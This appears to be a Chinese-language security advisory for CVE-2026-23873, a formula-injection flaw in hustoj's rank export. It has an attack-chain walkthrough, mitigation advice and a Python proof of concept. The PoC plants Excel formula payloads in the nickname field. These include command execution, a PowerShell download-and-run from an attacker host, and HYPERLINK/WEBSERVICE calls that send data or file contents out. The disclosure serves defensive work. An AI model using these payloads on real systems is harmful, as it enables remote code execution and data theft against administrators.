IPBUF安全漏洞报告
English
CVE-2026-23873 CVSS 9.0 严重

CVE-2026-23873 hustoj CSV注入漏洞导致远程代码执行

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23873
漏洞类型
CSV注入/公式注入
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
hustoj

相关标签

CSV注入公式注入远程代码执行Excelhustoj在线评测系统存储型注入权限提升CVSS9.0数据导出漏洞

漏洞概述

hustoj是一款基于PHP/C++/MySQL/Linux开发的开源在线评测系统,主要用于ACM/ICPC和NOIP竞赛训练。该系统在所有版本中存在严重的CSV Injection(CSV注入,又称Formula Injection公式注入)漏洞。漏洞位于排名导出功能模块(contestrank.xls.php和admin/ranklist_export.php),攻击者可以通过在用户"昵称"(Nickname)字段中注入恶意Excel公式来利用此漏洞。当管理员导出比赛排名并使用Microsoft Excel打开生成的.xls文件时,注入的公式会被自动执行。由于Excel默认启用自动计算功能,恶意公式可以执行任意系统命令,导致攻击者可以在管理员的机器上实现远程代码执行(RCE),或者通过公式窃取敏感数据。这是一个典型的存储型CSV注入漏洞,攻击条件简单但危害极大,CVSS评分高达9.0,属于严重安全漏洞。

技术细节

该漏洞源于hustoj系统在导出排名数据时未对用户输入进行充分的输入验证和输出编码。漏洞利用过程如下:攻击者首先在个人资料或参赛报名的"Nickname"字段中注入精心构造的Excel公式,常见的payload包括:1)=cmd|' /C calc'!'A1'用于执行系统命令;2)=HYPERLINK()用于数据外传;3)=WEBSERVICE()用于远程获取恶意代码。当管理员登录后台,进入比赛排名管理页面并使用导出功能时,系统将包含恶意公式的数据导出为.xls文件。Excel在打开该文件时会将其解析为HTML表格并自动计算单元格中的公式。由于Excel的公式引擎具有访问文件系统和网络的能力,攻击者可以借此执行任意系统命令、读取本地文件或建立反向shell连接。整个攻击过程无需复杂的交互,但依赖于管理员打开导出的文件这一用户交互环节。攻击者只需拥有普通用户账号即可发起攻击,权限要求低。

攻击链分析

STEP 1
步骤1:侦察与注册
攻击者在目标hustoj系统上注册普通用户账号,获取基本的用户访问权限
STEP 2
步骤2:漏洞注入
攻击者将恶意Excel公式注入到个人资料的"昵称"(Nickname)字段中,payload示例:=cmd|' /C calc'!A0
STEP 3
步骤3:等待管理员操作
攻击者等待管理员登录系统并进入比赛排名管理页面
STEP 4
步骤4:触发导出功能
管理员使用排名导出功能(contestrank.xls.php或admin/ranklist_export.php)将排名数据导出为.xls文件
STEP 5
步骤5:文件打开与命令执行
管理员使用Microsoft Excel打开导出的.xls文件,Excel将表格内容解析为HTML并自动计算单元格中的公式,触发恶意代码执行
STEP 6
步骤6:达成攻击目标
通过公式注入实现远程代码执行(RCE)在管理员主机上,或通过WEBSERVICE/HYPERLINK函数实现敏感数据外泄

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23873 PoC - CSV Injection in hustoj # Attack Vector: Set malicious nickname to execute commands when admin exports ranklist import requests import json # Target configuration TARGET_URL = "http://target-host/judge" USERNAME = "attacker" PASSWORD = "attacker123" # Malicious payloads for Excel formula injection PAYLOADS = [ # Command execution payload (for Windows) "=cmd|' /C calc'!A0", # Data exfiltration payload "=HYPERLINK(\"http://attacker-server/steal?data=\"&A1,\"Click\")", # PowerShell reverse shell "=cmd|' /C powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker-server/shell.ps1')\"'!A0", # File read and exfiltrate "=WEBSERVICE(\"http://attacker-server/read?file=C:\\Users\\admin\\Documents\\secret.txt\")" ] def login(): """Login to hustoj and get session""" session = requests.Session() login_url = f"{TARGET_URL}/login.php" data = { "user_id": USERNAME, "password": PASSWORD } session.post(login_url, data=data) return session def inject_payload(session, payload): """Update user nickname with malicious formula""" profile_url = f"{TARGET_URL}/userinfo.php" data = { "nick": payload, # Nickname field vulnerable to injection "submit": "1" } response = session.post(profile_url, data=data) return response.status_code == 200 def trigger_admin_export(session): """Simulate admin exporting ranklist (requires admin privileges)""" export_url = f"{TARGET_URL}/admin/ranklist_export.php" params = { "contest_id": "1", "format": "xls" } response = session.get(export_url, params=params) # The exported .xls file will contain the malicious formula return response.content def main(): print("[*] CVE-2026-23873: hustoj CSV Injection PoC") print("[*] Target: " + TARGET_URL) # Step 1: Login as regular user print("\n[1] Logging in as attacker...") session = login() # Step 2: Inject malicious formula into nickname print("[2] Injecting malicious Excel formula into nickname...") for payload in PAYLOADS: print(f" Payload: {payload}") inject_payload(session, payload) print("\n[3] Malicious nickname set successfully") print("[4] Wait for admin to export ranklist and open in Excel") print("[5] Formula will be executed when Excel opens the file") # Note: The actual exploitation requires admin interaction print("\n[*] PoC demonstration complete") print("[*] Real attack requires:") print(" 1. Admin exports ranklist to .xls") print(" 2. Admin opens the .xls file in Microsoft Excel") print(" 3. Excel executes the injected formula") if __name__ == "__main__": main()

影响范围

hustoj 所有版本

防御指南

临时缓解措施
作为临时缓解措施,在管理员打开导出的Excel文件前,务必使用文本编辑器或非Excel程序(如LibreOffice Calc的安全模式)检查文件内容是否包含可疑的公式字符。对于必须使用Excel的场景,建议在Excel设置中禁用自动计算功能(文件→选项→公式→工作簿计算→手动),并启用受保护视图。此外,严格限制普通用户的昵称输入长度和允许的字符类型,禁止使用=、+、-、@、#等特殊字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表